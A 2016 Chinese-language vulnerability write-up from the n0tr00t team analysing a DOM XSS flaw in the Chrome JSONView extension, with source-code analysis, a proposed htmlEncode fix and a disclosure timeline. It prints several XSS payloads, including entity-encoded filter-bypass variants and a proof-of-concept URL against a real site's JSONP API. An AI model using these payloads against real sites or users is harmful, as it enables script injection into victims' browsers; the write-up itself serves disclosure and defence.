明枪易躲暗箭难防
28 Apr 2016 - evi1m0
[+] Author: evi1m0[+] Team: n0tr00t security team [+] From: http://www.n0tr00t.com[+] Create: 2016-04-28
0x01 JSONView 介绍
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Github: https://github.com/gildas-lormeau/JSONView-for-Chrome
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ChromeStore: https://chrome.google.com/w…..bnpoihckbnefhakgolnmc?hl=en-US
JSONView 插件是目前最热门的一款开发者工具插件，它是查看json数据的神器。通常来讲，json 数据一般没有经过格式化或经过了 unicode 编码，没有缩进，没有换行等，给开发者阅读造成了一定困难。而jsonview 插件可以自动对 json 数据转码，缩进，格式化，直接显示出格式化后的数据，使得开发人员可以更好的阅读信息，本文中出现问题的版本为 Chrome 浏览器下的 JSONView 插件，Firefox 下版本不受影响。
0x02 正确的处理方式
我们知道开发人员在使用 JSONP callback 的方式进行跨域请求时，通常会为了方便前端调用 callback 名是可自定义的，例如 function?callback=jQuery14114 ，这时页面将会输出 callback 的参数值到页面中，所以出现了很多 callback 导致的跨站漏洞，解决方案大多由过滤 URL 特殊字符、严格定义 Response 头的 Content-Type:application/json 。
下面这个例子则为 Bilibili API :
http://api.bilibili.com/x/favourite/folder?callback=jQu%3Ch1%3E163&jsonp=jsonp&_=1461828995783
我们可以看到由于 Reponse Headers 严格定义了 Content-Type 类型为 json 数据格式，所以尽管我成功注入了未转义标签代码，但仍然不会得到执行（ChromeView-source 模式下如果正常解析后是会有高亮标识的），JSONView 的故事也是从这个时候开始的。
0x03 Dom XSS Vulnerability
我们之前谈到过 JSONView 插件能够美化原本乱糟糟的 JSON 数据，就像这样：
在使用 JSONView 的过程中我发现它把数据提取进行了渲染，也就导致原本不存在的漏洞在这里得以重现！这里有一个前提，网站使用限制 Content-Type 类型对其的过滤而未过滤特殊字符。所以我们可以看到：
在之后的源码分析中得知是因为通过 DOM 插入数据，直接写入 script 是不加载资源的，所以我们可以使用很多方法来触发恶意代码：
1. <img src=@ onerror=alert(1) alt="明枪易躲暗箭难防" >2. <body onload=alert(1)>3. ...
通过测试后发现，只要参数中包含 空格、圆括号，插件即使是在开启的情况下，也不会再对 JSON 结果进行数据解析，虽然在黑盒测试过程中我通过斜线等技巧实现了加载恶意代码，但还是要来看看这个插件究竟做了哪些处理。
0x04 源码分析
通过断点调试，寻找到 innerHTML 文件：/master/WebContent/content.js
function displayUI(theme, html) { var statusElement, toolboxElement, expandElement, reduceElement, viewSourceElement, optionsElement, content = ""; content += '<link rel="stylesheet" type="text/css" href="' + chrome.runtime.getURL("jsonview-core.css") + '">'; content += "<style>" + theme + "</style>"; content += html; document.body.innerHTML = content; ....}function init(data) { port.onMessage.addListener(function(msg) { if (msg.oninit) { options = msg.options; processData(data); } if (msg.onjsonToHTML) if (msg.html) { displayUI(msg.theme, msg.html); } else if (msg.json) port.postMessage({ getError : true, json : json, fnName : fnName }); if (msg.ongetError) { displayError(msg.error, msg.loc, msg.offset); } }); port.postMessage({ init : true });}我们看到在 displayUI 函数中 innerHTML 的操作：document.body.innerHTML = content; ，下面来看一下 jsonToHTML 函数在入口文件 /JSONView-for-Chrome/blob/master/WebContent/background.js 中加载：
/master/WebContent/workerFormatter.js 提取核心部分代码：
function htmlEncode(t) { return t != null ? t.toString().replace(/&/g, "&").replace(/"/g, """).replace(/</g, "<").replace(/>/g, ">") : '';}function decorateWithSpan(value, className) { return '<span class="' + className + '">' + htmlEncode(value) + '</span>';}function jsonToHTML(json, fnName) { var output = ''; if (fnName) output += '<div class="callback-function">' + fnName + '(</div>'; output += '<div id="json">'; output += valueToHTML(json); output += '</div>'; if (fnName) output += '<div class="callback-function">)</div>'; return output;}addEventListener("message", function(event) { var object; try { object = JSON.parse(event.data.json); } catch (e) { postMessage({ error : true }); return; } postMessage({ onjsonToHTML : true, html : jsonToHTML(object, event.data.fnName) });}, false);之后对 html : jsonToHTML(object, event.data.fnName) 其中的 event 下断点进行追踪，找到 fnName 的赋值代码 /master/WebContent/content.js：
function extractData(rawText) { var tokens, text = rawText.trim(); function test(text) { return ((text.charAt(0) == "[" && text.charAt(text.length - 1) == "]") || (text.charAt(0) == "{" && text.charAt(text.length - 1) == "}")); } if (test(text)) return { text : rawText, offset : 0 }; tokens = text.match(/^([^\s\(]*)\s*\(([\s\S]*)\)\s*;?$/); if (tokens && tokens[1] && tokens[2]) { if (test(tokens[2].trim())) return { fnName : tokens[1], text : tokens[2], offset : rawText.indexOf(tokens[2]) }; }}在 extractData 函数中，我们找到了 fnName 的赋值，tokens 会根据正则获取需要解析的 fnName, text 等值，也就是这个正则导致我们是无法注入圆括号的，因为他被匹配到了 text 中：
0x05 执行测试代码
通过阅读正则，我们发现可以使用 URL编码（HTML 实体编码）+斜线等方式来注入代码并执行：
1. <img /src='@'/onerror=alert(window.location) alt="明枪易躲暗箭难防" >2. <img /src='@'/onerror=alert(window.location) alt="明枪易躲暗箭难防" >3. <img /src='@'/onerror=%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E alt="明枪易躲暗箭难防" >4. http://api.bilibili.com/x/favourite/folder?callback=jQu11111%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E765386356466327_1461828974439&jsonp=jsonp&_=1461828995783
通过几次变形，我们编写出最终的测试代码以弹出 window.location 地址，就这样原本过滤严谨的接口因为 JSONView 的问题而全面崩塌：
0x06 修复方案
使用 /master/WebContent/workerFormatter.js 文件中的 htmlEncode 函数进行过滤：
function jsonToHTML(json, fnName) { var output = ''; if (fnName) output += '<div class="callback-function">' + htmlEncode(fnName) + '(</div>'; output += '<div id="json">'; output += valueToHTML(json); output += '</div>'; if (fnName) output += '<div class="callback-function">)</div>'; return output;}0x07 VulnTimeline
- Find the vulnerability. - 2016/04/28 15:00
- Because the JSONView plug-in (Chrome platform) has not been updated for a long time, Unable to contact the author to fix the vulnerability. - 2016/04/28 20:15
- Write the Paper, via @evi1m0. - 2016/04/28 22:32
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